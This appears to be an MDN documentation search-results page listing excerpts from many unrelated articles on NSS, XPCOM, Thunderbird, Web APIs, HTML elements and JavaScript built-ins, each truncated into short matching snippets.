nss 3.28 requires netscape portable runtime (nspr) 4.13.1 or newer.
... this includes a number of improvements to tls 1.3: the signed certificate timestamp, used in certificate transparency, is supported in tls 1.3 (bug 1252745).
... this includes the early key exporter, which can be used if 0-rtt is enabled.
...And 15 more matches
nss tech note4
pulling certificate extension information out of ssl certificates nss technical note: 4 note: this document contains code snippets that focus on essential aspects of the task and often do not illustrate all the cleanup that needs to be done.
... include these files #include "ssl.h" #include "cert.h" get the handle of the cert associated with an ssl connection certcertificate* cert = ssl_peercertificate(prfiledesc *fd); if ssl client, this will get you the server's cert handle; if ssl server, this will get you the client's cert handle if client auth is enabled certcertificate* cert = ssl_localcertificate(prfiledesc *fd); if ssl client, this will get you the client cert's handle, if client auth happened if ssl server, this will get you the ser...
...ver's cert handle don't forget to clean up the cert handle when you're done with it void cert_destroycertificate(certcertificate *cert); some info is readily available cert->subjectname (char*) cert->issuername (char*) cert->emailaddr (char*) or char *cert_getcertificateemailaddress(certcertificate *cert); cert->keyusage (unsigned int) to break the issuer and subject names into components pass &(cert->issuer) or &(cert->subject) to the following functions char *cert_getcommonname(certname *name); char *cert_getcertemailaddress(certname *name); char *cert_getcountryname(certname *name); char *cert_getlocalityname(certname *name); char *cert_getstatename(c...
...And 15 more matches
NSS_3.12.3_release_notes.html
new in nss 3.12.3 changes in behavior: in the development of nss 3.12.3, it became necessary to change some old library behaviors due to the discovery of certain vulnerabilities in the old behaviors, and to correct some errors that had limited nss's ability to interoperate with cryptographic hardware and software from other sources.
... most of these changes should cause no problems for nss users, but in some cases, some customers' software, hardware and/or certificates may be dependent on the old behaviors, and may have difficulty with the new behaviors.
... in anticipation of that, the nss team has provided ways to easily cause nss to revert to its previous behavior through the use of environment variables.
...And 15 more matches
Rhino overview
see the specification for more information on the standard, and rhino version 1.6r1 release notes for details on the implementation in rhino.
... deprecated language features several language features introduced in javascript 1.2 are now deprecated.
...these features are generally not broadly useful, yet they impose significant constraints on implementations that hamper or prevent optimization.
...And 15 more matches
Split object
this feature is complicated.
...the script in a might have opened tb by calling window.open, which returns a direct reference to tb's window.
...if page a gets a reference to that function, then by calling it, it is indirectly accessing tab tb's window.
...And 15 more matches
Gecko object attributes
« at apis support page introduction you can obtain object attributes by nsiaccessible.getattributes() method.
...used to indicate a persistent identifier for any object; useful for scripting.
...for diagrams with levels, each item can have its level specified.
...And 15 more matches
XPCOM glue
MozillaTechXPCOMGlue
the xpcom glue is a static library which component developers and embedders can link against.
...extension or xulrunner application components, should use the dependent glue.
... code which wishes to use only frozen symbols but can tolerate a load-time dependency on xpcom.dll should link against xpcomglue_s.lib and xpcom.lib.
...And 15 more matches
Preface
next » this is a book about gecko, and about creating xpcom components for gecko-based applications.
... though the emphasis is on the practical steps you take to make your c++ code into a component that can be used in gecko, we hope that these steps will also give us an occasion to discuss all of the tools, techniques, and technologies that make up xpcom.
... accordingly, the book is arranged so that you can follow along and create your own components or learn about different xpcom topics individually, as in a reference work.
...And 15 more matches
nsIBrowserHistory
); void removepagesfromhost(in autf8string ahost, in boolean aentiredomain); void removevisitsbytimeframe(in long long abegintime, in long long aendtime); void unregisteropenpage(in nsiuri auri); obsolete since gecko 9.0 note: the markpageasfollowedlink and markpageastyped methods were moved to nsinavhistoryservice in gecko 22.0 so that all markpageas* methods can be found in one interface.
... attributes attribute type description count obsolete since gecko 15.0 pruint32 indicates if there are entries in global history.
... note: the count attribute was removed in gecko 15.0 because it was only used to determine if there were any entries at all anyway, so the nsinavhistoryservice.hashistoryentries attribute is better for this.
...And 15 more matches
getFile
« xpcom api reference called by the directory service to obtain an nsifile object corresponding for a given standard path location.
... the individual platform implementation of nsidirectoryserviceprovider maps the symbolic path location passed to this function and returns the appropriate nsifile.
... nsifile getfile( in string aname, out boolean apersistent ); parameters aname [in] the symbolic name for a file or directory location.
...And 15 more matches
Autoconfiguration in Thunderbird
in many cases, people should be able to download and install thunderbird, enter their real name, email address and password in the account setup wizard and have a fully functioning mail client and get and send their mail as securely as possible.
... mechanisms thunderbird gets the server settings via different means, each of which is intended for different cases: ispdb the ispdb is a central database, currently hosted by the thunderbird project, but free to use for any client.
... it was added because we cannot assume that all big isps (including microsoft) will set up a configuration server for thunderbird.
...And 15 more matches
MailNews fakeserver
it can also be used in manual qa tests.
...it utilizes utf-8 as its transport mechanism and is capable of performing proper pipelining of commands.
...a daemon is information about the server that can be manipulated.
...And 15 more matches
Mail and RDF
from this resource, you can follow a number of arcs to find servers, folders, and finally messages.
... msgaccounts:/ +-- http://home.netscape.com/nc-rdf#child --> | imap://alecf@imap.mywork.com | +-- http://home.netscape.com/nc-rdf#isserver --> "true" | +-- http://home.netscape.com/nc-rdf#child --> | imap://alecf@imap.mywork.com/inbox | +-- http://home.netscape.com/nc-rdf#totalmessages --> "4" | +-- http://home.netscape.com/nc-rdf#isserver --> "false" | +-- http://home.netscape.com/nc-rdf#messagechild --> | | imap_message://alecf@imap.mywork.com/inbox#1 | +-- http://home.ne...
...tscape.com/nc-rdf#messagechild --> | | imap_message://alecf@imap.mywork.com/inbox#2 | +-- http://home.netscape.com/nc-rdf#messagechild --> | | imap_message://alecf@imap.mywork.com/inbox#3 | +-- http://home.netscape.com/nc-rdf#messagechild --> | imap_message://alecf@imap.mywork.com/inbox#4 | etc...
...And 15 more matches
Activity Manager examples
if the default implementation of nsiactivityprocess, nsiactivitywarning and nsiactivityevent are not sufficient for the activity initiator, activity developers can provide their own components to extend the capabilities.
... default implementations can be found in nsactivity.js file.
... if activity developers would like to extend the default ui representation of the activity types, they can provide their own xbl elements for their own activity types.
...And 15 more matches
DOM Inspector internals - Firefox Developer Tools
this is the two-pane inspector that appears when ctrl+shift+i (or cmd+shift+i) is pressed from one of the applications for which dom inspector has explicit support (i.e., menuitems placed via overlay).
... viewers are dynamically loaded; when the panel is made to switch from one viewer to another, the old viewer is destroyed, and the new viewer is loaded in its place.
...another convenient consequence of this is that if you use a properly set up development profile, then for the most part, the effects of development changes can be seen by simply switching away from the current viewer and back.
...And 15 more matches
UI Tour - Firefox Developer Tools
the ui is split vertically into three panels source list pane source pane the contents of the third pane depend on the current state of the debugger and may include the following sections: toolbar watch expressions breakpoints call stack scopes xhr breakpoints event listener breakpoints dom mutation breakpoints source list pane the source list pane lists all the javascript source files loaded into the page, and enables you to select one to debug.
... you can search for a file using ctrl + p (cmd + p on a mac).
... there are several context menu options available for individual files and folders or groups; typically viewed by right-clicking on the item.
...And 15 more matches
BaseAudioContext - Web APIs
a baseaudiocontext can be a target of events, therefore it implements the eventtarget interface.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/bas...
..."#d4dde4" stroke-width="2px" /><text x="231" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">baseaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties baseaudiocontext.audioworklet read only secure context returns the audioworklet object, which can be used to create and manage audionodes in which javascript code implementing the audioworkletprocessor interface are run in the background to process audio data.
...And 15 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
you will learn how to create, access and control, and remove html elements dynamically.
... the dom methods presented here are part of the document object model (core) level 1 specification.
... example: creating an html table dynamically (sample1.html) html <input type="button" value="generate a table." onclick="generate_table()"> javascript function generate_table() { // get the reference for the body var body = document.getelementsbytagname("body")[0]; // creates a <table> element and a <tbody> element var tbl = document.createelement("table"); var tblbody = document.createelement("tbody"); // creating all cells for (var i = 0; i < 2; i++) { // creates a table row var row = document.createelement("tr"); for (var j = 0; j < 2; j++) { // create a <td> element and a text node, make the text ...
...And 15 more matches
HTMLAreaElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle...
... htmlareaelement.download is a domstring indicating that the linked resource is intended to be downloaded rather than displayed in the browser.
... htmlareaelement.hreflang is a domstring containing that reflects the hreflang html attribute, indicating the language of the linked resource.
...And 15 more matches
HTMLImageElement.srcset - Web APIs
the htmlimageelement property srcset is a string which identifies one or more image candidate strings, separated using commas (,) each specifying image resources to use under given circumstances.
... each image candidate string contains an image url and an optional width or pixel density descriptor that indicates the conditions under which that candidate should be used instead of the image specified by the src property.
... the srcset property, along with the sizes property, are a crucial component in designing responsive web sites, as they can be used together to make pages that use appropriate images for the rendering situation.
...And 15 more matches
Keyboard API - Web APIs
the keyboard api provides methods for working with a physical keyboard that is attached to a device running a browser.
... it provides several capabilities.
... keyboard mapping provides an interface for retrieving the string generated by particular physical key on a keyboard to correctly identify that key to a user.
...And 15 more matches
Using the Permissions API - Web APIs
historically, different apis handle their own permissions inconsistently — for example the notifications api allows for explicit checking of permission status and requesting permission, whereas the geolocation api doesn't (which causes problems if the user denied the initial permission request, as we'll see below).
...for example, it can query whether permission to use a particular api is granted or denied, and specifically request permission to use an api.
... at the moment, implementation of the api is at an early stage, so support in browsers is pretty spotty: it can only be found in chrome 44 and later and firefox 43 and later.
...And 15 more matches
RTCDataChannel - Web APIs
the rtcdatachannel interface represents a network channel which can be used for bidirectional peer-to-peer transfers of arbitrary data.
... every data channel is associated with an rtcpeerconnection, and each peer connection can have up to a theoretical maximum of 65,534 data channels (the actual limit may vary from browser to browser).
... to create a data channel and ask a remote peer to join you, call the rtcpeerconnection's createdatachannel() method.
...And 15 more matches
RTCIceTransport.state - Web APIs
the read-only rtcicetransport property state returns the current state of the ice transport, so you can determine the state of ice gathering in which the ice agent currently is operating.
... this differs from the gatheringstate, which only indicates whether or not ice gathering is currently underway.
... syntax icestate = icetransport.state; value a domstring, whose value is one of those found in the enumerated type rtcicetransportstate, which indicates the stage of ice gathering that's currently underway.
...And 15 more matches
RTCPeerConnection.createAnswer() - Web APIs
the answer contains information about any media already attached to the session, codecs and options supported by the browser, and any ice candidates already gathered.
... syntax apromise = rtcpeerconnection.createanswer([options]); rtcpeerconnection.createanswer(successcallback, failurecallback[, options]); parameters options optional an object which contains options which customize the answer; this is based on the rtcansweroptions dictionary.
... deprecated parameters in older code and documentation, you may see a callback-based version of this function.
...And 15 more matches
TextRange - Web APIs
WebAPITextRange
for example, when you hold down the mouse to select the content on the page, you create a typical textrange.
... it is implemented in ie, then a textrange object can be created by element.createtextrange() or document.selection.createrange().
...alternative selection and range interfaces can be used.
...And 15 more matches
Web Workers API - Web APIs
web workers makes it possible to run a script operation in a background thread separate from the main execution thread of a web application.
... the advantage of this is that laborious processing can be performed in a separate thread, allowing the main (usually the ui) thread to run without being blocked/slowed down.
...this context is represented by either a dedicatedworkerglobalscope object (in the case of dedicated workers - workers that are utilized by a single script), or a sharedworkerglobalscope (in the case of shared workers - workers that are shared between multiple scripts).
...And 15 more matches
ARIA live regions - Accessibility
using javascript, it is possible to dynamically change parts of a page without requiring the entire page to reload — for instance, to update a list of search results on the fly, or to display a discreet alert or notification which does not require user interaction.
... while these changes are usually visually apparent to users who can see the page, they may not be obvious to users of assistive technologies.
... aria live regions fill this gap and provide a way to programmatically expose dynamic content changes in a way that can be announced by assistive technologies.
...And 15 more matches
Keyboard - Accessibility
this includes users of screen readers, but can also include users who have trouble operating a pointing device such as a mouse or trackball, or whose mouse is not working at the moment, or who simply prefer to use a keyboard for input whenever possible.
... focusable elements should have interactive semantics if an element can be focused using the keyboard, then it should be interactive; that is, the user should be able to do something to it and produce a change of some kind (for example, activating a link or changing an option).
... note: one important exception to this rule is if the element has role="document" applied to it, inside an interactive context (such as role="application").
...And 15 more matches
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
WebHTMLElementabbr
the html abbreviation element (<abbr>) represents an abbreviation or acronym; the optional title attribute can provide an expansion or description for the abbreviation.
... content categories flow content, phrasing content, palpable content permitted content phrasing content tag omission none, both the starting and ending tag are mandatory.
... each <abbr> element you use is independent from all others; providing a title for one does not automatically attach the same expansion text to others with the same content text.
...And 15 more matches
<input type="date"> - HTML: Hypertext Markup Language
WebHTMLElementinputdate
the time and datetime-local input types support time and date+time input.
... you can set a default value for the input with a date inside the value attribute, like so: <input type="date" value="2017-06-01"> the displayed date format will differ from the actual value — the displayed date is formatted based on the locale of the user's browser, but the parsed value is always formatted yyyy-mm-dd.
... you can get and set the date value in javascript with the input element's value and valueasnumber properties.
...And 15 more matches
<input type="week"> - HTML: Hypertext Markup Language
WebHTMLElementinputweek
in non-supporting browsers, the control degrades gracefully to function identically to <input type="text">.
... in chrome/opera the week control provides slots to fill in week and year values, a pop-up calendar interface to select them more visually, and an "x" button to clear the control's value.
... you can set a default value for the input by including a value inside the value attribute, like so: <label for="week">what week would you like to start?</label> <input id="week" type="week" name="week" value="2017-w01"> one thing to note is that the displayed format may differ from the actual value, which is always formatted yyyy-www.
...And 15 more matches
<table>: The Table element - HTML: Hypertext Markup Language
WebHTMLElementtable
content categories flow content permitted content in this order: an optional <caption> element, zero or more <colgroup> elements, an optional <thead> element, either one of the following: zero or more <tbody> elements one or more <tr> elements an optional <tfoot> element tag omission none,...
... deprecated attributes align this enumerated attribute indicates how the table must be aligned inside the containing document.
...one of the predefined color kewords can also be used.
...And 15 more matches
HTTP range requests - HTTP
you can check this by issuing a head request with curl, for example.
...accept-ranges: bytes content-length: 146515 in this response, accept-ranges: bytes indicates that bytes can be used as unit to define a range.
... here the content-length header is also useful as it indicates the full size of the image to retrieve.
...And 15 more matches
Keyed collections - JavaScript
a map object is a simple key/value map and can iterate its elements in insertion order.
...you can use a for...of loop to return an array of [key, value] for each iteration.
... let sayings = new map(); sayings.set('dog', 'woof'); sayings.set('cat', 'meow'); sayings.set('elephant', 'toot'); sayings.size; // 3 sayings.get('dog'); // woof sayings.get('fox'); // undefined sayings.has('bird'); // false sayings.delete('dog'); sayings.has('dog'); // false for (let [key, value] of sayings) { console.log(key + ' goes ' + value); } // "cat goes meow" // "elephant goes toot" sayings.clear(); sayings.size; // 0 object and map compared traditionally, objects have been used to map strings to values.
...And 15 more matches
The arguments object - JavaScript
the arguments object is a local variable available within all non-arrow functions.
... you can refer to a function's arguments inside that function by using its arguments object.
... it has entries for each argument the function was called with, with the first entry's index at 0.
...And 15 more matches
Array.prototype.reduceRight() - JavaScript
syntax arr.reduceright(callback(accumulator, currentvalue[, index[, array]])[, initialvalue]) parameters callback function to execute on each value in the array, taking four arguments: accumulator the value previously returned in the last invocation of the callback, or initialvalue, if supplied.
... arrayoptional the array reduceright() was called upon.
... initialvalueoptional value to use as accumulator to the first call of the callback.
...And 15 more matches
Array.prototype.findIndex() - JavaScript
otherwise, it returns -1, indicating that no element passed the test.
... syntax arr.findindex(callback( element[, index[, array]] )[, thisarg]) parameters callback a function to execute on each value in the array until the function returns true, indicating that the satisfying element was found.
... array optional the array findindex() was called upon.
...And 15 more matches
Array.prototype.some() - JavaScript
syntax arr.some(callback(element[, index[, array]])[, thisarg]) parameters callback a function to test for each element, taking three arguments: element the current element being processed in the array.
... arrayoptional the array some() was called upon.
... thisargoptional a value to use as this when executing callback.
...And 15 more matches
Object - JavaScript
objects can be created using the object() constructor or the object initializer / literal syntax.
... description nearly all objects in javascript are instances of object; a typical object inherits properties (including methods) from object.prototype, although these properties may be shadowed (a.k.a.
... when called in a non-constructor context, object behaves identically to new object().
...And 15 more matches
Promise() constructor - JavaScript
the signature of this function is expected to be: function(resolutionfunc, rejectionfunc){ // typically, some asynchronous operation.
... therefore, the code within the executor has the opportunity to perform some operation and then reflect the operation's outcome(if the value is not another promise object) as either "fulfilled" or "rejected" by terminating with an invocation of either the resolutionfunc or the rejectionfunc, respectively.
...it communicates via the side-effect caused by resolutionfunc or rejectionfunc.
...And 15 more matches
parseInt() - JavaScript
the parseint() function parses a string argument and returns an integer of the specified radix (the base in mathematical numeral systems).
... radix optional an integer between 2 and 36 that represents the radix (the base in mathematical numeral systems) of the string.
... be careful—this does not default to 10!
...And 15 more matches
new operator - JavaScript
arguments a list of values that the constructor will be called with.
...an object can have a property that is itself another object.
... the constructor function foo is called with the specified arguments, and with this bound to the newly created object.
...And 15 more matches
async function - JavaScript
return value a promise which will be resolved with the value returned by the async function, or rejected with an exception thrown from, or uncaught within, the async function.
... description async functions can contain zero or more await expressions.
...use of async / await enables the use of ordinary try / catch blocks around asynchronous code.
...And 15 more matches
MathML documentation index - MathML
WebMathMLIndex
found 40 pages: # page tags and summary 1 mathml landing, mathml, reference, web, xml mathematical markup language (mathml) is a dialect of xml for describing mathematical notation and capturing both its structure and content.
... 3 examples beginner, example, guide, mathml, needsbeginnerupdate below you'll find some examples you can look at to help you to understand how to use mathml to display increasingly complex mathematical concepts in web content.
... 4 mathml: deriving the quadratic formula beginner, education, example, guide, html5, mathml, needsbeginnerupdate this page outlines the derivation of the quadratic formula.
...And 15 more matches
Media - Progressive web apps (PWAs)
this presentation can take more than one form.
...css has the capacity to present content according to the media type.
...(in html5, this can be marked up with the <nav> element instead of <div> with an id attribute.) when printing the document, the navigation area has no purpose.
...And 15 more matches
2015 MDN Fellowship Program - Archive of obsolete content
we are not accepting applications.
... this page is a historical archive, originally hosted at /fellowship, and was localized.
... who web and mobile developers with an established track record of contributions and expertise in a specific web technology, function or domain who wish to increase the effectiveness of their teaching and communications.
...And 14 more matches
l10n - Archive of obsolete content
localize strings appearing in the add-on's javascript code.
... usage to learn how to use this module to write localizable code, read the localization tutorial.
... note that you can't currently use localize strings appearing in content scripts or html files, but you can share the localized strings you want by assigning it's values to a json serializable object.
...And 14 more matches
Finding window handles - Archive of obsolete content
since mozilla tries to be as cross-platform as possible, it can be difficult to get the handle you need.
...typically the top level browser window hwnd has no children, although if there are windowed plugins (such as flash) visible in the window, they will have hwnds whose parent is the top level browser window hwnd.
... here is some simple code that can get access to mozilla window handles.
...And 14 more matches
Deploying a Plugin as an Extension - Archive of obsolete content
historically, most people have chosen to use an install.js script to install a plugin.
... when this method is used, you can choose to either place the plugin into the plugins directory, or, on windows, place it into your own directory and modify the windows registry to let firefox know where to find the plugin.
...with firefox 1.5, you can use the built-in extension mechanism to make a plugin available to your users.
...And 14 more matches
Introduction - Archive of obsolete content
xul school was created by appcoast (formerly glaxstar), one of the few companies dedicated to building high-quality firefox extensions.
...in most cases we'll provide code samples that you can easily copy and adapt to your needs, as well as some working example extensions.
...you can think of it as a quick guide to the expansive world that is the mozilla platform.
...And 14 more matches
Getting Started - Archive of obsolete content
the folder containing seamonkey is called folder_with_seamonkey in this manual.
... extract theme while you can hypothetically begin with any theme already designed for seamonkey 2, for the sake of consistency we'll speak as though everyone is editing classic (default seamonkey theme).
... this is located in the file classic.jar found in the seamonkey 2 installation directory.
...And 14 more matches
Treehydra Manual - Archive of obsolete content
callbacks and gcc intermediate representations like dehydra, treehydra sends program representations to the user javascript via callbacks.
... there are 3 treehydra callbacks.
... note that the callbacks interact with other treehydra options.
...And 14 more matches
Accessing Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
...because string paths are not used, references to files in a file object are made relative to some starting directory.
...a common case is to write a file in the directory that holds the user's preferences.
...And 14 more matches
RDF Query Syntax - Archive of obsolete content
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <rule> ...
...it indicates that we are going to use a starting point when navigating the graph.
...also, because we can only have one starting point, only one content tag can be used.
...And 14 more matches
Rule Compilation - Archive of obsolete content
for each result that is generated by the query, the conditions specified within the rules are scanned, and content is generated when a rule matches.
...this way, different kinds of output can be created based on the specifics of the result.
... in many cases, you will only have need for one rule, as you want all results to be generated in the same manner.
...And 14 more matches
Content Panels - Archive of obsolete content
« previousnext » in this section, we'll look at how to add panels that can display html pages or other xul files.
...first, each window could appear in a different location (although there are ways around this).
...it has the advantage that it can be placed anywhere and the contents can be loaded from a different file.
...And 14 more matches
Input Controls - Archive of obsolete content
text entry fields html has an input element which can be used for text entry controls.
...without any attributes, the textbox element creates a box in which the user can enter text.
...the following are some of them: id a unique identifier so that you can identify the textbox.
...And 14 more matches
Modifying a XUL Interface - Archive of obsolete content
creating new elements you can create new elements using the createelement() function of the document.
...you can then set attributes of the element using the setattribute() function and append it to the xul document using the appendchild() function.
... addbutton() the calls the createelement() function to create a new button.
...And 14 more matches
XBL Example - Archive of obsolete content
we'll call this a slideshow element.
...because we want page flipping, a deck element would be the most suitable to hold the page content.
...we could set a value, but instead it will calculated later.
...And 14 more matches
Using nsIXULAppInfo - Archive of obsolete content
starting with mozilla/xulrunner 1.8, there now is a way to find out which application, application version, and gecko version your code is running on.
... this is useful, for example, for extensions that support several mozilla-based applications or several versions of a single application.
... nsixulappinfo interface to distinguish between different mozilla-based applications, use the frozen nsixulappinfo interface.
...And 14 more matches
Accessibility/XUL Accessibility Reference - Archive of obsolete content
however, this attribute causes any xul loaded in the browser to have issues with jaws 7.10.
...therefore, with jaws 7.10, to use xul inside of a browser, the type attribute cannot not be used.
... caption see groupbox checkbox <checkbox label='<!--label text-->' /> colorpicker <colorpicker type="button" palettename="standard" /> colorpicker appears to read color values out if the colorpicker can get focus in the first place.
...And 14 more matches
datepicker - Archive of obsolete content
three types are available, which can be specified using the type attribute.
... grid - a datepicker with a calendar grid for selecting a date.
... !!attention: there is also a datepicker in tb-calendar with differing definitions for members (value is a date there) the change event is fired whenever the date is changed.
...And 14 more matches
tab - Archive of obsolete content
ArchiveMozillaXULtab
this is automatically set when needed and you shouldn't adjust it manually.
... this is primarily useful for themes so that they can adjust the appearance of the area around the selected tab.
...this is set automatically set when needed and you shouldn't adjust it manually.
...And 14 more matches
tabbrowser - Archive of obsolete content
it is similar to the browser element, except that multiple documents can be displayed, each in a separate tab.
... note: starting in firefox 3 (xulrunner/gecko 1.9), this is only used in the main firefox window and cannot be used in other xul windows by third-party applications or extensions.
... attributes autocompleteenabled, autocompletepopup, autoscroll, contentcontextmenu, contenttooltip, handlectrlpageupdown, onbookmarkgroup, onnewtab, tabmodalpromptshowing properties browsers, cangoback, cangoforward, contentdocument, contenttitle, contentvieweredit, contentviewerfile, contentwindow, currenturi, docshell, documentcharsetinfo, homepage, markupdocumentviewer, securityui, selectedbrowser, selectedtab, sessionhistory, tabcontainer, tabs, visibletabs, webbrowserfind, webnavigation, webprogress methods addprogresslistener, addtab, addtabsprogresslistener,appendgroup, getbrowseratindex, getbrowserindexfordocument, getbrowserfordocument, getbrowserfortab, geticon, getnotificationbox, gettabforbrowser, gettabmodalpromptbox, goback, gobackgroup, goforward, goforwardgroup, goho...
...And 14 more matches
treecol - Archive of obsolete content
you can also place splitter elements between the columns to allow column resizing.
... if you want, you can also style the tree using css.
... start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
...And 14 more matches
Bounding volume collision detection with THREE.js - Game development
using box3 and sphere three.js has objects that represent mathematical volumes and shapes — for 3d aabb and bounding spheres we can use the box3 and sphere objects.
...keep in mind that in order for this property to be defined, you need to manually call geometry.computeboundingbox beforehand.
...so any transformations such as scale, position, etc.
...And 14 more matches
Styling lists - Learn web development
handling list spacing when styling lists, you need to adjust their styles so they keep the same vertical spacing as their surrounding elements (such as paragraphs and images; sometimes called vertical rhythm), and the same horizontal spacing as each other (you can see the finished styled example on github, and find the source code too.) the css used for the text styling and spacing is as follows: /* general styles */ html { font-family: helvetica, arial, sans-serif; font-size: 10px; } h2 { ...
...this means that each paragraph and list will have the same font size and top and bottom spacing, helping to keep the vertical rhythm consistent.
...this will also help to keep the vertical rhythm consistent.
...And 14 more matches
Function return values - Learn web development
some functions don't return a significant value, but others do.
... if you look at the replace() function mdn reference page, you'll see a section called return value.
...(in these cases, our reference pages list the return value as void or undefined.) for example, in the displaymessage() function we built in the previous article, no specific value is returned when the function is invoked.
...And 14 more matches
Test your skills: Object-oriented JavaScript - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
...we want you to: add a new method to the shape class's prototype, calcperimeter(), which calculates its perimeter (the length of the shape's outer edge) and logs the result to the console.
...And 14 more matches
Multimedia: Images - Learn web development
many people are on capped data plans or even pay-as-you-go where they are literally paying by the megabyte.
... optimizing image delivery despite being the largest consumer of bandwidth, images load asynchronously so the visitor can see the page as they download and therefore, their impact on perceived performance is far lower than many expect.
... however, images are mostly used for content, so it's important that a visitor can see them as soon as possible for a good experience.
...And 14 more matches
What is web performance? - Learn web development
web performance is the objective measurement and perceived user experience of a web site or application.
... making the site usable as soon as possible: this basically means loading your web site assets in a sensible order so that the user can start to actually use it really quickly.
... any other assets can continue to load in the background while the user gets on with primary tasks, and sometimes we only load assets when they are actually needed (this is called lazy loading).
...And 14 more matches
Simple Instantbird build
build prerequisites hardware requirements: while you can build instantbird on older hardware it can take quite a bit of time to compile on slower machines, and having 8gb of ram is recommended (though you can probably still get away with 4gb).
... setup: depending on your operating system you will need to carry out a different process to prepare your machine.
... windows build prerequisites gnu/linux build prerequisites mac os x build prerequisites tip: after completing setup for your os, and before you get the source, you can opt to add the progressextension to your mercurial.ini (for windows) or .hgrc (for *nix / mac) file.
...And 14 more matches
Interfacing with the Add-on Repository
importing the repository code module before you can use the add-on repository api, you need to import the code module: components.utils.import("resource://gre/modules/addonrepository.jsm"); having done this, you can then access the api through the resulting addonrepository object.
... enabling the recommendation feature in current builds of firefox 4, the recommendation api doesn't work because the preference for the url to query to get recommended add-ons is not included by default; see bug 628785.
... to make the service work for the time being, you can use code like this when your extension starts up: var prefsservice = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); var prefbranch = prefsservice.getbranch("extensions."); var recurl = ""; try { recurl = prefbranch.getcharpref("getaddons.recommended.url"); } catch(e) { recurl = ""; } if (recurl == "") { prefbranch.setcharpref("getaddons.recommended.url", "https://services.addons.mozilla.org/%locale%/%app%/api/%api_version%/list/recommended/all/%max_results%/%os%/%version%?src=firefox"); prefsservice.savepreffile(null); } this fetches the value of the extensions.getaddons.recommended.url preference, and, if the preference ...
...And 14 more matches
PerfMeasurement.jsm
note: the perfmeasurement.jsm javascript code module can only be used from chrome -- that is, from within the application itself or an add-on.
... before you can use this module, you need to import it into your scope: components.utils.import("resource://gre/modules/perfmeasurement.jsm") see measuring performance using the perfmeasurement.jsm code module for details on how to use this api.
...method overview static bool canmeasuresomething(); void reset(); void start(); void stop(); member fields recorded data variables these variables provide access to the recorded data.
...And 14 more matches
Task.jsm
you can use the yield operator inside the generator function to wait on a promise, spawn another task, or propagate a value: let resolutionvalue = yield (promise/generator/iterator/value); if you specify a promise, the yield operator returns its resolution value as soon as the promise is resolved.
... if you specify a generator function or the iterator returned by a generator function, then task.spawn() is implicitly called, and the yield operator works on the returned promise.
... this reduces the syntax overhead of calling task.spawn() explicitly when you want to recurse into other task functions.
...And 14 more matches
Mozilla Development Strategies
it's better to fix one data loss bug, crasher, or performance bug that really affects the user than edge case bugs that are rarely seen or minor bugs.
... of course, our documentation is a wiki; you can really help by updating the documentation yourself.
... note: you can mark the bug with this keyword at any time; you don't need to wait until it's actually fixed.
...And 14 more matches
Creating JavaScript jstest reftests
test262 tests test262 is the implementation conformance test suite for the latest drafts of ecmascript language specification, as well as internationalization api specification and the json data interchange format.
... it is maintained by tc39, the ecmascript standard's technical committee.
...if you are contributing directly to test262, you must submit the tests in the test262 format, which you can see in the test262 git repository and read about here.
...And 14 more matches
Self-hosted builtins in SpiderMonkey
most importantly, it's possible to invoke any function within the scope of any object using the syntax callfunction(fun, receiver, ...args) (or callcontentfunction, see below), which causes fun to be called within the scope of receiver with ...args as its arguments.
... in contrast to function.prototype.call, this syntax makes it impossible for other code to interfere and gets compiled to bytecode that doesn't have any overhead compared to a normal function invocation.
... otoh, normal method calls are forbidden in self-hosted code.
...And 14 more matches
The Publicity Stream API
the publicity stream the publicity stream is a mozilla-hosted activity stream generated by a user's application usage.
... the publicity stream is provided as a central place for applications to publicize application usage for the purpose of notifying a user's friends of the applications which their friends are using.
... it is not meant as a general application messaging system.
...And 14 more matches
mozIStorageService
the database should not be open, or you should ensure that no database activity is happening when you call this method.
...the actual backup file is returned, and the resulting filename can be obtained from that.
...if this method throws ns_error_file_corrupted, it's recommended that you call mozistorageservice.backupdatabasefile() to back up the database so that user data is not lost (although we have no way of recovering this data yet).
...And 14 more matches
nsIAsyncInputStream
the caller must then wait for the stream to have some data to read.
... if the stream implements nsiasyncinputstream, then the caller can use this interface to request an asynchronous notification when the stream becomes readable or closed (via the asyncwait() method).
